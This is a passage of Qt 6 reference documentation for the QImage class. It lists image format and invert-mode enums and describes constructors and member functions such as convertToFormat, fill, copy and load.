| `QImage::Format_MonoLSB` | `2` | The image is stored using 1-bit per pixel. Bytes are packed with the less significant bit (LSB) first. |
| `QImage::Format_Indexed8` | `3` | The image is stored using 8-bit indexes into a colormap. |
| `QImage::Format_RGB32` | `4` | The image is stored using a 32-bit RGB format (0xffRRGGBB). |
| `QImage::Format_ARGB32` | `5` | The image is stored using a 32-bit ARGB format (0xAARRGGBB). |
| `QImage::Format_ARGB32_Premultiplied` | `6` | The image is stored using a premultiplied 32-bit ARGB format (0xAARRGGBB), i.e. the red, green, and blue channels are multiplied by the alpha component divided by 255. (If RR, GG, or BB has a higher value than the alpha channel, the results are undefined.) Certain operations (such as image composition using alpha blending) are faster using premultiplied ARGB32 than with plain ARGB32. |
| `QImage::Format_RGB16` | `7` | The image is stored using a 16-bit RGB format (5-6-5). |
| `QImage::Format_ARGB8565_Premultiplied` | `8` | The image is stored using a premultiplied 24-bit ARGB format (8-5-6-5). |
| `QImage::Format_RGB666` | `9` | The image is stored using a 24-bit RGB format (6-6-6). The unused most significant bits is always zero. |
| `QImage::Format_ARGB6666_Premultiplied` | `10` | The image is stored using a premultiplied 24-bit ARGB format (6-6-6-6). |
| `QImage::Format_RGB555` | `11` | The image is stored using a 16-bit RGB format (5-5-5). The unused most significant bit is always zero. |
| `QImage::Format_ARGB8555_Premultiplied` | `12` | The image is stored using a premultiplied 24-bit ARGB format (8-5-5-5). |
| `QImage::Format_RGB888` | `13` | The image is stored using a 24-bit RGB format (8-8-8). |
| `QImage::Format_RGB444` | `14` | The image is stored using a 16-bit RGB format (4-4-4). The unused bits are always zero. |
| `QImage::Format_ARGB4444_Premultiplied` | `15` | The image is stored using a premultiplied 16-bit ARGB format (4-4-4-4). |
| `QImage::Format_RGBX8888` | `16` | The image is stored using a 32-bit byte-ordered RGB(x) format (8-8-8-8). This is the same as the Format\_RGBA8888 except alpha must always be 255. (added in Qt 5.2) |
| `QImage::Format_RGBA8888` | `17` | The image is stored using a 32-bit byte-ordered RGBA format (8-8-8-8). Unlike ARGB32 this is a byte-ordered format, which means the 32bit encoding differs between big endian and little endian architectures, being respectively (0xRRGGBBAA) and (0xAABBGGRR). The order of the colors is the same on any architecture if read as bytes 0xRR,0xGG,0xBB,0xAA. (added in Qt 5.2) |
| `QImage::Format_RGBA8888_Premultiplied` | `18` | The image is stored using a premultiplied 32-bit byte-ordered RGBA format (8-8-8-8). (added in Qt 5.2) |
| `QImage::Format_BGR30` | `19` | The image is stored using a 32-bit BGR format (x-10-10-10). (added in Qt 5.4) |
| `QImage::Format_A2BGR30_Premultiplied` | `20` | The image is stored using a 32-bit premultiplied ABGR format (2-10-10-10). (added in Qt 5.4) |
| `QImage::Format_RGB30` | `21` | The image is stored using a 32-bit RGB format (x-10-10-10). (added in Qt 5.4) |
| `QImage::Format_A2RGB30_Premultiplied` | `22` | The image is stored using a 32-bit premultiplied ARGB format (2-10-10-10). (added in Qt 5.4) |
| `QImage::Format_Alpha8` | `23` | The image is stored using an 8-bit alpha only format. (added in Qt 5.5) |
| `QImage::Format_Grayscale8` | `24` | The image is stored using an 8-bit grayscale format. (added in Qt 5.5) |
| `QImage::Format_Grayscale16` | `28` | The image is stored using an 16-bit grayscale format. (added in Qt 5.13) |
| `QImage::Format_RGBX64` | `25` | The image is stored using a 64-bit halfword-ordered RGB(x) format (16-16-16-16). This is the same as the Format\_RGBA64 except alpha must always be 65535. (added in Qt 5.12) |
| `QImage::Format_RGBA64` | `26` | The image is stored using a 64-bit halfword-ordered RGBA format (16-16-16-16). (added in Qt 5.12) |
| `QImage::Format_RGBA64_Premultiplied` | `27` | The image is stored using a premultiplied 64-bit halfword-ordered RGBA format (16-16-16-16). (added in Qt 5.12) |
| `QImage::Format_BGR888` | `29` | The image is stored using a 24-bit BGR format. (added in Qt 5.14) |
| `QImage::Format_RGBX16FPx4` | `30` | The image is stored using a 4 16-bit halfword floating point RGBx format (16FP-16FP-16FP-16FP). This is the same as the Format\_RGBA16FPx4 except alpha must always be 1.0. (added in Qt 6.2) |
| `QImage::Format_RGBA16FPx4` | `31` | The image is stored using a 4 16-bit halfword floating point RGBA format (16FP-16FP-16FP-16FP). (added in Qt 6.2) |
| `QImage::Format_RGBA16FPx4_Premultiplied` | `32` | The image is stored using a premultiplied 4 16-bit halfword floating point RGBA format (16FP-16FP-16FP-16FP). (added in Qt 6.2) |
| `QImage::Format_RGBX32FPx4` | `33` | The image is stored using a 4 32-bit floating point RGBx format (32FP-32FP-32FP-32FP). This is the same as the Format\_RGBA32FPx4 except alpha must always be 1.0. (added in Qt 6.2) |
| `QImage::Format_RGBA32FPx4` | `34` | The image is stored using a 4 32-bit floating point RGBA format (32FP-32FP-32FP-32FP). (added in Qt 6.2) |
| `QImage::Format_RGBA32FPx4_Premultiplied` | `35` | The image is stored using a premultiplied 4 32-bit floating point RGBA format (32FP-32FP-32FP-32FP). (added in Qt 6.2) |

  **Note:** Drawing into a [QImage](qimage) with QImage::Format\_Indexed8 is not supported.

   **Note:** Avoid most rendering directly to most of these formats using [QPainter](qpainter). Rendering is best optimized to the `Format_RGB32` and `Format_ARGB32_Premultiplied` formats, and secondarily for rendering to the `Format_RGB16`, `Format_RGBX8888`, `Format_RGBA8888_Premultiplied`, `Format_RGBX64` and `Format_RGBA64_Premultiplied` formats

  **See also** [format](qimage#format)() and [convertToFormat](qimage#convertToFormat)().

 ### enum QImage::InvertMode

 This enum type is used to describe how pixel values should be inverted in the [invertPixels](qimage#invertPixels)() function.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QImage::InvertRgb` | `0` | Invert only the RGB values and leave the alpha channel unchanged. |
| `QImage::InvertRgba` | `1` | Invert all channels, including the alpha channel. |

 **See also** [invertPixels](qimage#invertPixels)().

 Member Function Documentation
-----------------------------

  ### 
[QImage](qimage#QImage) QImage::rgbSwapped() &&


### 
[QImage](qimage#QImage) QImage::rgbSwapped() const &


 Returns a [QImage](qimage) in which the values of the red and blue components of all pixels have been swapped, effectively converting an RGB image to an BGR image.

 The original [QImage](qimage) is not changed.

 **See also** [rgbSwap](qimage#rgbSwap)() and [Image Transformations](qimage#image-transformations).

  ### 
[QImage](qimage#QImage) QImage::mirrored(bool *horizontal* = false, bool *vertical* = true) &&


### 
[QImage](qimage#QImage) QImage::mirrored(bool *horizontal* = false, bool *vertical* = true) const &


 Returns a mirror of the image, mirrored in the horizontal and/or the vertical direction depending on whether *horizontal* and *vertical* are set to true or false.

 Note that the original image is not changed.

 **See also** [mirror](qimage#mirror)() and [Image Transformations](qimage#image-transformations).

  ### 
`[since 6.0]` [QImage](qimage#QImage) QImage::convertedTo([QImage::Format](qimage#Format-enum) *format*, [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor) &&


### 
`[since 6.0]` [QImage](qimage#QImage) QImage::convertedTo([QImage::Format](qimage#Format-enum) *format*, [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor) const &


 Returns a copy of the image in the given *format*.

 The specified image conversion *flags* control how the image data is handled during the conversion process.

 This function was introduced in Qt 6.0.

 **See also** [convertTo](qimage#convertTo)() and [Image Formats](qimage#image-formats).

  ### 
[QImage](qimage#QImage) QImage::convertToFormat([QImage::Format](qimage#Format-enum) *format*, [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor) &&


### 
[QImage](qimage#QImage) QImage::convertToFormat([QImage::Format](qimage#Format-enum) *format*, [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor) const &


 Returns a copy of the image in the given *format*.

 The specified image conversion *flags* control how the image data is handled during the conversion process.

 **See also** [convertTo](qimage#convertTo)() and [Image Formats](qimage#image-formats).

 ### 
`[since 5.2]` QImage::QImage([QImage](qimage#QImage) &&*other*)

 Move-constructs a QImage instance, making it point at the same object that *other* was pointing to.

 This function was introduced in Qt 5.2.

 ### QImage::QImage(const [QImage](qimage#QImage) &*image*)

 Constructs a shallow copy of the given *image*.

 For more information about shallow copies, see the [Implicit Data Sharing](implicit-sharing) documentation.

 **See also** [copy](qimage#copy)().

 ### QImage::QImage(const [QString](qstring) &*fileName*, const char \**format* = nullptr)

 Constructs an image and tries to load the image from the file with the given *fileName*.

 The loader attempts to read the image using the specified *format*. If the *format* is not specified (which is the default), it is auto-detected based on the file's suffix and header. For details, see {[QImageReader::setAutoDetectImageFormat](qimagereader#setAutoDetectImageFormat)()}{[QImageReader](qimagereader)}.

 If the loading of the image failed, this object is a null image.

 The file name can either refer to an actual file on disk or to one of the application's embedded resources. See the [Resource System](resources) overview for details on how to embed images and other resource files in the application's executable.

 **See also** [isNull](qimage#isNull)() and [Reading and Writing Image Files](qimage#reading-and-writing-image-files).

 ### QImage::QImage(const char \*const [] *xpm*)

 Constructs an image from the given *xpm* image.

 Make sure that the image is a valid XPM image. Errors are silently ignored.

 Note that it's possible to squeeze the XPM variable a little bit by using an unusual declaration:

 
```
static const char * const start_xpm[] = {
    "16 15 8 1",
    "a c #cec6bd",
    // etc.
};
```
 The extra `const` makes the entire definition read-only, which is slightly more efficient (e.g., when the code is in a shared library) and able to be stored in ROM with the application.

 ### QImage::QImage(const [uchar](qtglobal#uchar-typedef) \**data*, int *width*, int *height*, qsizetype *bytesPerLine*, [QImage::Format](qimage#Format-enum) *format*, [QImageCleanupFunction](qimage#QImageCleanupFunction-typedef) *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr)

 Constructs an image with the given *width*, *height* and *format*, that uses an existing memory buffer, *data*. The *width* and *height* must be specified in pixels. *bytesPerLine* specifies the number of bytes per line (stride).

 The buffer must remain valid throughout the life of the QImage and all copies that have not been modified or otherwise detached from the original buffer. The image does not delete the buffer at destruction. You can provide a function pointer *cleanupFunction* along with an extra pointer *cleanupInfo* that will be called when the last copy is destroyed.

 If *format* is an indexed color format, the image color table is initially empty and must be sufficiently expanded with [setColorCount](qimage#setColorCount)() or [setColorTable](qimage#setColorTable)() before the image is used.

 Unlike the similar QImage constructor that takes a non-const data buffer, this version will never alter the contents of the buffer. For example, calling [QImage::bits](qimage#bits)() will return a deep copy of the image, rather than the buffer passed to the constructor. This allows for the efficiency of constructing a QImage from raw data, without the possibility of the raw data being changed.

 ### QImage::QImage([uchar](qtglobal#uchar-typedef) \**data*, int *width*, int *height*, qsizetype *bytesPerLine*, [QImage::Format](qimage#Format-enum) *format*, [QImageCleanupFunction](qimage#QImageCleanupFunction-typedef) *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr)

 Constructs an image with the given *width*, *height* and *format*, that uses an existing memory buffer, *data*. The *width* and *height* must be specified in pixels. *bytesPerLine* specifies the number of bytes per line (stride).

 The buffer must remain valid throughout the life of the QImage and all copies that have not been modified or otherwise detached from the original buffer. The image does not delete the buffer at destruction. You can provide a function pointer *cleanupFunction* along with an extra pointer *cleanupInfo* that will be called when the last copy is destroyed.

 If *format* is an indexed color format, the image color table is initially empty and must be sufficiently expanded with [setColorCount](qimage#setColorCount)() or [setColorTable](qimage#setColorTable)() before the image is used.

 ### QImage::QImage(const [uchar](qtglobal#uchar-typedef) \**data*, int *width*, int *height*, [QImage::Format](qimage#Format-enum) *format*, [QImageCleanupFunction](qimage#QImageCleanupFunction-typedef) *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr)

 Constructs an image with the given *width*, *height* and *format*, that uses an existing read-only memory buffer, *data*. The *width* and *height* must be specified in pixels, *data* must be 32-bit aligned, and each scanline of data in the image must also be 32-bit aligned.

 The buffer must remain valid throughout the life of the QImage and all copies that have not been modified or otherwise detached from the original buffer. The image does not delete the buffer at destruction. You can provide a function pointer *cleanupFunction* along with an extra pointer *cleanupInfo* that will be called when the last copy is destroyed.

 If *format* is an indexed color format, the image color table is initially empty and must be sufficiently expanded with [setColorCount](qimage#setColorCount)() or [setColorTable](qimage#setColorTable)() before the image is used.

 Unlike the similar QImage constructor that takes a non-const data buffer, this version will never alter the contents of the buffer. For example, calling [QImage::bits](qimage#bits)() will return a deep copy of the image, rather than the buffer passed to the constructor. This allows for the efficiency of constructing a QImage from raw data, without the possibility of the raw data being changed.

 ### QImage::QImage([uchar](qtglobal#uchar-typedef) \**data*, int *width*, int *height*, [QImage::Format](qimage#Format-enum) *format*, [QImageCleanupFunction](qimage#QImageCleanupFunction-typedef) *cleanupFunction* = nullptr, void \**cleanupInfo* = nullptr)

 Constructs an image with the given *width*, *height* and *format*, that uses an existing memory buffer, *data*. The *width* and *height* must be specified in pixels, *data* must be 32-bit aligned, and each scanline of data in the image must also be 32-bit aligned.

 The buffer must remain valid throughout the life of the QImage and all copies that have not been modified or otherwise detached from the original buffer. The image does not delete the buffer at destruction. You can provide a function pointer *cleanupFunction* along with an extra pointer *cleanupInfo* that will be called when the last copy is destroyed.

 If *format* is an indexed color format, the image color table is initially empty and must be sufficiently expanded with [setColorCount](qimage#setColorCount)() or [setColorTable](qimage#setColorTable)() before the image is used.

 ### QImage::QImage(int *width*, int *height*, [QImage::Format](qimage#Format-enum) *format*)

 Constructs an image with the given *width*, *height* and *format*.

 A [null](qimage#isNull) image will be returned if memory cannot be allocated.

  **Warning:** This will create a QImage with uninitialized data. Call [fill](qimage#fill)() to fill the image with an appropriate pixel value before drawing onto it with [QPainter](qpainter).

  ### QImage::QImage(const [QSize](qsize) &*size*, [QImage::Format](qimage#Format-enum) *format*)

 Constructs an image with the given *size* and *format*.

 A [null](qimage#isNull) image is returned if memory cannot be allocated.

  **Warning:** This will create a QImage with uninitialized data. Call [fill](qimage#fill)() to fill the image with an appropriate pixel value before drawing onto it with [QPainter](qpainter).

  ### QImage::QImage()

 Constructs a null image.

 **See also** [isNull](qimage#isNull)().

 ### 
`[since 5.2]` [QImage](qimage#QImage) &QImage::operator=([QImage](qimage#QImage) &&*other*)

 Move-assigns *other* to this [QImage](qimage) instance.

 This function was introduced in Qt 5.2.

 ### 
[QImage](qimage#QImage) &QImage::operator=(const [QImage](qimage#QImage) &*image*)

 Assigns a shallow copy of the given *image* to this image and returns a reference to this image.

 For more information about shallow copies, see the [Implicit Data Sharing](implicit-sharing) documentation.

 **See also** [copy](qimage#copy)() and [QImage](qimage#QImage)().

 ### 
`[virtual]` QImage::~QImage()

 Destroys the image and cleans up.

 ### 
bool QImage::allGray() const

 Returns `true` if all the colors in the image are shades of gray (i.e. their red, green and blue components are equal); otherwise false.

 Note that this function is slow for images without color table.

 **See also** [isGrayscale](qimage#isGrayscale)().

 ### 
`[since 5.14]` void QImage::applyColorTransform(const [QColorTransform](qcolortransform) &*transform*)

 Applies the color transformation *transform* to all pixels in the image.

 This function was introduced in Qt 5.14.

 ### 
int QImage::bitPlaneCount() const

 Returns the number of bit planes in the image.

 The number of bit planes is the number of bits of color and transparency information for each pixel. This is different from (i.e. smaller than) the depth when the image format contains unused bits.

 **See also** [depth](qimage#depth)(), [format](qimage#format)(), and [Image Formats](qimage#image-formats).

 ### 
[uchar](qtglobal#uchar-typedef) \*QImage::bits()

 Returns a pointer to the first pixel data. This is equivalent to [scanLine](qimage#scanLine)(0).

 Note that [QImage](qimage) uses [implicit data sharing](implicit-sharing). This function performs a deep copy of the shared pixel data, thus ensuring that this [QImage](qimage) is the only one using the current return value.

 **See also** [scanLine](qimage#scanLine)(), [sizeInBytes](qimage#sizeInBytes)(), and [constBits](qimage#constBits)().

 ### const [uchar](qtglobal#uchar-typedef) \*QImage::bits() const

 This is an overloaded function.

 Note that [QImage](qimage) uses [implicit data sharing](implicit-sharing), but this function does *not* perform a deep copy of the shared pixel data, because the returned data is const.

 ### 
qsizetype QImage::bytesPerLine() const

 Returns the number of bytes per image scanline.

 This is equivalent to [sizeInBytes](qimage#sizeInBytes)() / [height](qimage#height)() if [height](qimage#height)() is non-zero.

 **See also** [scanLine](qimage#scanLine)().

 ### 
[qint64](qtglobal#qint64-typedef) QImage::cacheKey() const

 Returns a number that identifies the contents of this [QImage](qimage) object. Distinct [QImage](qimage) objects can only have the same key if they refer to the same contents.

 The key will change when the image is altered.

 ### 
[QRgb](qcolor#QRgb-typedef) QImage::color(int *i*) const

 Returns the color in the color table at index *i*. The first color is at index 0.

 The colors in an image's color table are specified as ARGB quadruplets ([QRgb](qcolor#QRgb-typedef)). Use the qAlpha(), qRed(), qGreen(), and qBlue() functions to get the color value components.

 **See also** [setColor](qimage#setColor)(), [pixelIndex](qimage#pixelIndex)(), and [Pixel Manipulation](qimage#pixel-manipulation).

 ### 
int QImage::colorCount() const

 Returns the size of the color table for the image.

 Notice that colorCount() returns 0 for 32-bpp images because these images do not use color tables, but instead encode pixel values as ARGB quadruplets.

 **See also** [setColorCount](qimage#setColorCount)() and [Image Information](qimage#image-information).

 ### 
`[since 5.14]` [QColorSpace](qcolorspace) QImage::colorSpace() const

 Returns the color space of the image if a color space is defined.

 This function was introduced in Qt 5.14.

 **See also** [setColorSpace](qimage#setColorSpace)().

 ### 
[QList](qlist)<[QRgb](qcolor#QRgb-typedef)> QImage::colorTable() const

 Returns a list of the colors contained in the image's color table, or an empty list if the image does not have a color table

 **See also** [setColorTable](qimage#setColorTable)(), [colorCount](qimage#colorCount)(), and [color](qimage#color)().

 ### const [uchar](qtglobal#uchar-typedef) \*QImage::constBits() const

 Returns a pointer to the first pixel data.

 Note that [QImage](qimage) uses [implicit data sharing](implicit-sharing), but this function does *not* perform a deep copy of the shared pixel data, because the returned data is const.

 **See also** [bits](qimage#bits)() and [constScanLine](qimage#constScanLine)().

 ### const [uchar](qtglobal#uchar-typedef) \*QImage::constScanLine(int *i*) const

 Returns a pointer to the pixel data at the scanline with index *i*. The first scanline is at index 0.

 The scanline data is as minimum 32-bit aligned. For 64-bit formats it follows the native alignment of 64-bit integers (64-bit for most platforms, but notably 32-bit on i386).

 Note that [QImage](qimage) uses [implicit data sharing](implicit-sharing), but this function does *not* perform a deep copy of the shared pixel data, because the returned data is const.

 **See also** [scanLine](qimage#scanLine)() and [constBits](qimage#constBits)().

 ### 
`[since 5.13]` void QImage::convertTo([QImage::Format](qimage#Format-enum) *format*, [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor)

 Converts the image to the given *format* in place, detaching if necessary.

 The specified image conversion *flags* control how the image data is handled during the conversion process.

 This function was introduced in Qt 5.13.

 **See also** [convertedTo](qimage#convertedTo)().

 ### 
`[since 5.14]` void QImage::convertToColorSpace(const [QColorSpace](qcolorspace) &*colorSpace*)

 Converts the image to *colorSpace*.

 If the image has no valid color space, the method does nothing.

 This function was introduced in Qt 5.14.

 **See also** [convertedToColorSpace](qimage#convertedToColorSpace)() and [setColorSpace](qimage#setColorSpace)().

 ### 
[QImage](qimage#QImage) QImage::convertToFormat([QImage::Format](qimage#Format-enum) *format*, const [QList](qlist)<[QRgb](qcolor#QRgb-typedef)> &*colorTable*, [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor) const

 This is an overloaded function.

 Returns a copy of the image converted to the given *format*, using the specified *colorTable*.

 Conversion from RGB formats to indexed formats is a slow operation and will use a straightforward nearest color approach, with no dithering.

 ### 
`[since 5.14]` [QImage](qimage#QImage) QImage::convertedToColorSpace(const [QColorSpace](qcolorspace) &*colorSpace*) const

 Returns the image converted to *colorSpace*.

 If the image has no valid color space, a null [QImage](qimage) is returned.

 This function was introduced in Qt 5.14.

 **See also** [convertToColorSpace](qimage#convertToColorSpace)().

 ### 
[QImage](qimage#QImage) QImage::copy(const [QRect](qrect) &*rectangle* = QRect()) const

 Returns a sub-area of the image as a new image.

 The returned image is copied from the position (*rectangle*.x(), *rectangle*.y()) in this image, and will always have the size of the given *rectangle*.

 In areas beyond this image, pixels are set to 0. For 32-bit RGB images, this means black; for 32-bit ARGB images, this means transparent black; for 8-bit images, this means the color with index 0 in the color table which can be anything; for 1-bit images, this means [Qt::color0](qt#GlobalColor-enum).

 If the given *rectangle* is a null rectangle the entire image is copied.

 **See also** [QImage](qimage#QImage)().

 ### 
[QImage](qimage#QImage) QImage::copy(int *x*, int *y*, int *width*, int *height*) const

 This is an overloaded function.

 The returned image is copied from the position (*x*, *y*) in this image, and will always have the given *width* and *height*. In areas beyond this image, pixels are set to 0.

 ### 
[QImage](qimage#QImage) QImage::createAlphaMask([Qt::ImageConversionFlags](qt#ImageConversionFlag-enum) *flags* = Qt::AutoColor) const

 Builds and returns a 1-bpp mask from the alpha buffer in this image. Returns a null image if the image's format is [QImage::Format\_RGB32](qimage#Format-enum).

 The *flags* argument is a bitwise-OR of the [Qt::ImageConversionFlags](qt#ImageConversionFlag-enum), and controls the conversion process. Passing 0 for flags sets all the default options.

 The returned image has little-endian bit order (i.e. the image's format is [QImage::Format\_MonoLSB](qimage#Format-enum)), which you can convert to big-endian ([QImage::Format\_Mono](qimage#Format-enum)) using the [convertToFormat](qimage#convertToFormat)() function.

 **See also** [createHeuristicMask](qimage#createHeuristicMask)() and [Image Transformations](qimage#image-transformations).

 ### 
[QImage](qimage#QImage) QImage::createHeuristicMask(bool *clipTight* = true) const

 Creates and returns a 1-bpp heuristic mask for this image.

 The function works by selecting a color from one of the corners, then chipping away pixels of that color starting at all the edges. The four corners vote for which color is to be masked away. In case of a draw (this generally means that this function is not applicable to the image), the result is arbitrary.

 The returned image has little-endian bit order (i.e. the image's format is [QImage::Format\_MonoLSB](qimage#Format-enum)), which you can convert to big-endian ([QImage::Format\_Mono](qimage#Format-enum)) using the [convertToFormat](qimage#convertToFormat)() function.

 If *clipTight* is true (the default) the mask is just large enough to cover the pixels; otherwise, the mask is larger than the data pixels.

 Note that this function disregards the alpha buffer.

 **See also** [createAlphaMask](qimage#createAlphaMask)() and [Image Transformations](qimage#image-transformations).

 ### 
[QImage](qimage#QImage) QImage::createMaskFromColor([QRgb](qcolor#QRgb-typedef) *color*, [Qt::MaskMode](qt#MaskMode-enum) *mode* = Qt::MaskInColor) const

 Creates and returns a mask for this image based on the given *color* value. If the *mode* is MaskInColor (the default value), all pixels matching *color* will be opaque pixels in the mask. If *mode* is MaskOutColor, all pixels matching the given color will be transparent.

 **See also** [createAlphaMask](qimage#createAlphaMask)() and [createHeuristicMask](qimage#createHeuristicMask)().

 ### 
int QImage::depth() const

 Returns the depth of the image.

 The image depth is the number of bits used to store a single pixel, also called bits per pixel (bpp).

 The supported depths are 1, 8, 16, 24, 32 and 64.

 **See also** [bitPlaneCount](qimage#bitPlaneCount)(), [convertToFormat](qimage#convertToFormat)(), [Image Formats](qimage#image-formats), and [Image Information](qimage#image-information).

 ### 
[QSizeF](qsizef) QImage::deviceIndependentSize() const

 Returns the size of the pixmap in device independent pixels.

 This value should be used when using the pixmap size in user interface size calculations.

 The return value is equivalent to pixmap.[size](qimage#size)() / pixmap.[devicePixelRatio](qimage#devicePixelRatio)(),

 ### 
[qreal](qtglobal#qreal-typedef) QImage::devicePixelRatio() const

 Returns the device pixel ratio for the image. This is the ratio between *device pixels* and *device independent pixels*.

 Use this function when calculating layout geometry based on the image size: [QSize](qsize) layoutSize = image.[size](qimage#size)() / image.devicePixelRatio()

 The default value is 1.0.

 **See also** [setDevicePixelRatio](qimage#setDevicePixelRatio)() and [QImageReader](qimagereader).

 ### 
int QImage::dotsPerMeterX() const

 Returns the number of pixels that fit horizontally in a physical meter. Together with [dotsPerMeterY](qimage#dotsPerMeterY)(), this number defines the intended scale and aspect ratio of the image.

 **See also** [setDotsPerMeterX](qimage#setDotsPerMeterX)() and [Image Information](qimage#image-information).

 ### 
int QImage::dotsPerMeterY() const

 Returns the number of pixels that fit vertically in a physical meter. Together with [dotsPerMeterX](qimage#dotsPerMeterX)(), this number defines the intended scale and aspect ratio of the image.

 **See also** [setDotsPerMeterY](qimage#setDotsPerMeterY)() and [Image Information](qimage#image-information).

 ### 
void QImage::fill([uint](qtglobal#uint-typedef) *pixelValue*)

 Fills the entire image with the given *pixelValue*.

 If the depth of this image is 1, only the lowest bit is used. If you say fill(0), fill(2), etc., the image is filled with 0s. If you say fill(1), fill(3), etc., the image is filled with 1s. If the depth is 8, the lowest 8 bits are used and if the depth is 16 the lowest 16 bits are used.

 If the image depth is higher than 32bit the result is undefined.

  **Note:** There are no corresponding value getter, though [QImage::pixelIndex](qimage#pixelIndex)() will return the same value for indexed formats, and [QImage::pixel](qimage#pixel)() for RGB32, ARGB32, and ARGB32PM formats.

  **See also** [depth](qimage#depth)() and [Image Transformations](qimage#image-transformations).

 ### 
void QImage::fill(const [QColor](qcolor) &*color*)

 This is an overloaded function.

 Fills the entire image with the given *color*.

 If the depth of the image is 1, the image will be filled with 1 if *color* equals [Qt::color1](qt#GlobalColor-enum); it will otherwise be filled with 0.

 If the depth of the image is 8, the image will be filled with the index corresponding the *color* in the color table if present; it will otherwise be filled with 0.

 ### 
void QImage::fill([Qt::GlobalColor](qt#GlobalColor-enum) *color*)

 This is an overloaded function.

 Fills the image with the given *color*, described as a standard global color.

 ### 
[QImage::Format](qimage#Format-enum) QImage::format() const

 Returns the format of the image.

 **See also** [Image Formats](qimage#image-formats).

 ### 
`[static, since 6.2]` [QImage](qimage#QImage) QImage::fromData([QByteArrayView](qbytearrayview) *data*, const char \**format* = nullptr)

 Constructs an image from the given [QByteArrayView](qbytearrayview) *data*. The loader attempts to read the image using the specified *format*. If *format* is not specified (which is the default), the loader probes the data for a header to guess the file format.

 If *format* is specified, it must be one of the values returned by [QImageReader::supportedImageFormats](qimagereader#supportedImageFormats)().

 If the loading of the image fails, the image returned will be a null image.

 This function was introduced in Qt 6.2.

 **See also** [load](qimage#load)(), [save](qimage#save)(), and [Reading and Writing Image Files](qimage#reading-and-writing-image-files).

 ### 
`[static]` [QImage](qimage#QImage) QImage::fromData(const [uchar](qtglobal#uchar-typedef) \**data*, int *size*, const char \**format* = nullptr)

 This is an overloaded function.

 Constructs a [QImage](qimage) from the first *size* bytes of the given binary *data*.

 ### 
`[static]` [QImage](qimage#QImage) QImage::fromData(const [QByteArray](qbytearray) &*data*, const char \**format* = nullptr)

 This is an overloaded function.

 Constructs a [QImage](qimage) from the given [QByteArray](qbytearray) *data*.

 ### 
`[static, since 6.0]` [QImage](qimage#QImage) QImage::fromHBITMAP(HBITMAP *hbitmap*)

 Returns a [QImage](qimage) that is equivalent to the given *hbitmap*.

 HBITMAP does not store information about the alpha channel.

 In the standard case, the alpha channel is ignored and a fully opaque image is created (typically of format [QImage::Format\_RGB32](qimage#Format-enum)).

 There are cases where the alpha channel is used, though, for example for application icon or systray icons. In that case, `reinterpretAsFormat(QImage::Format_ARGB32)` should be called on the returned image to ensure the format is correct.

 This function was introduced in Qt 6.0.

 **See also** [toHBITMAP](qimage#toHBITMAP)() and [reinterpretAsFormat](qimage#reinterpretAsFormat)().

 ### 
`[static, since 6.0]` [QImage](qimage#QImage) QImage::fromHICON(HICON *icon*)

 Returns a [QImage](qimage) that is equivalent to the given *icon*.

 This function was introduced in Qt 6.0.

 **See also** [toHICON](qimage#toHICON)().

 ### 
bool QImage::hasAlphaChannel() const

 Returns `true` if the image has a format that respects the alpha channel, otherwise returns `false`.

 **See also** [Image Information](qimage#image-information).

 ### 
int QImage::height() const

 Returns the height of the image.

 **See also** [Image Information](qimage#image-information).

 ### 
void QImage::invertPixels([QImage::InvertMode](qimage#InvertMode-enum) *mode* = InvertRgb)

 Inverts all pixel values in the image.

 The given invert *mode* only have a meaning when the image's depth is 32. The default *mode* is [InvertRgb](qimage#InvertMode-enum), which leaves the alpha channel unchanged. If the *mode* is [InvertRgba](qimage#InvertMode-enum), the alpha bits are also inverted.

 Inverting an 8-bit image means to replace all pixels using color index *i* with a pixel using color index 255 minus *i*. The same is the case for a 1-bit image. Note that the color table is *not* changed.

 If the image has a premultiplied alpha channel, the image is first converted to an unpremultiplied image format to be inverted and then converted back.

 **See also** [Image Transformations](qimage#image-transformations).

 ### 
bool QImage::isGrayscale() const

 For 32-bit images, this function is equivalent to [allGray](qimage#allGray)().

 For color indexed images, this function returns `true` if color(i) is [QRgb](qcolor#QRgb-typedef)(i, i, i) for all indexes of the color table; otherwise returns `false`.

 **See also** [allGray](qimage#allGray)() and [Image Formats](qimage#image-formats).

 ### 
bool QImage::isNull() const

 Returns `true` if it is a null image, otherwise returns `false`.

 A null image has all parameters set to zero and no allocated data.

 ### 
bool QImage::load(const [QString](qstring) &*fileName*, const char \**format* = nullptr)

 Loads an image from the file with the given *fileName*. Returns `true` if the image was successfully loaded; otherwise invalidates the image and returns `false`.

 The loader attempts to read the image using the specified *format*, e.g., PNG or JPG. If *format* is not specified (which is the default), it is auto-detected based on the file's suffix and header. For details, see [QImageReader::setAutoDetectImageFormat](qimagereader#setAutoDetectImageFormat)().

 The file name can either refer to an actual file on disk or to one of the application's embedded resources. See the [Resource System](resources) overview for details on how to embed images and other resource files in the application's executable.

 **See also** [Reading and Writing Image Files](qimage#reading-and-writing-image-files).

 ### 
bool QImage::load([QIODevice](qiodevice) \**device*, const char \**format*)

 This is an overloaded function.

 This function reads a [QImage](qimage) from the given *device*. This can, for example, be used to load an image directly into a [QByteArray](qbytearray).

 ### 
`[since 6.2]` bool QImage::loadFromData([QByteArrayView](qbytearrayview) *data*, const char \**format* = nullptr)

 Loads an image from the given [QByteArrayView](qbytearrayview) *data*. Returns `true` if the image was successfully loaded; otherwise invalidates the image and returns `false`.

 The loader attempts to read the image using the specified *format*, e.g., PNG or JPG. If *format* is not specified (which is the default), the loader probes the file for a header to guess the file format.

 This function was introduced in Qt 6.2.

 **See also** [Reading and Writing Image Files](qimage#reading-and-writing-image-files).

 ### 
bool QImage::loadFromData(const [uchar](qtglobal#uchar-typedef) \**data*, int *len*, const char \**format* = nullptr)

 This is an overloaded function.

 Loads an image from the first *len* bytes of the given binary *data*.

 ### 
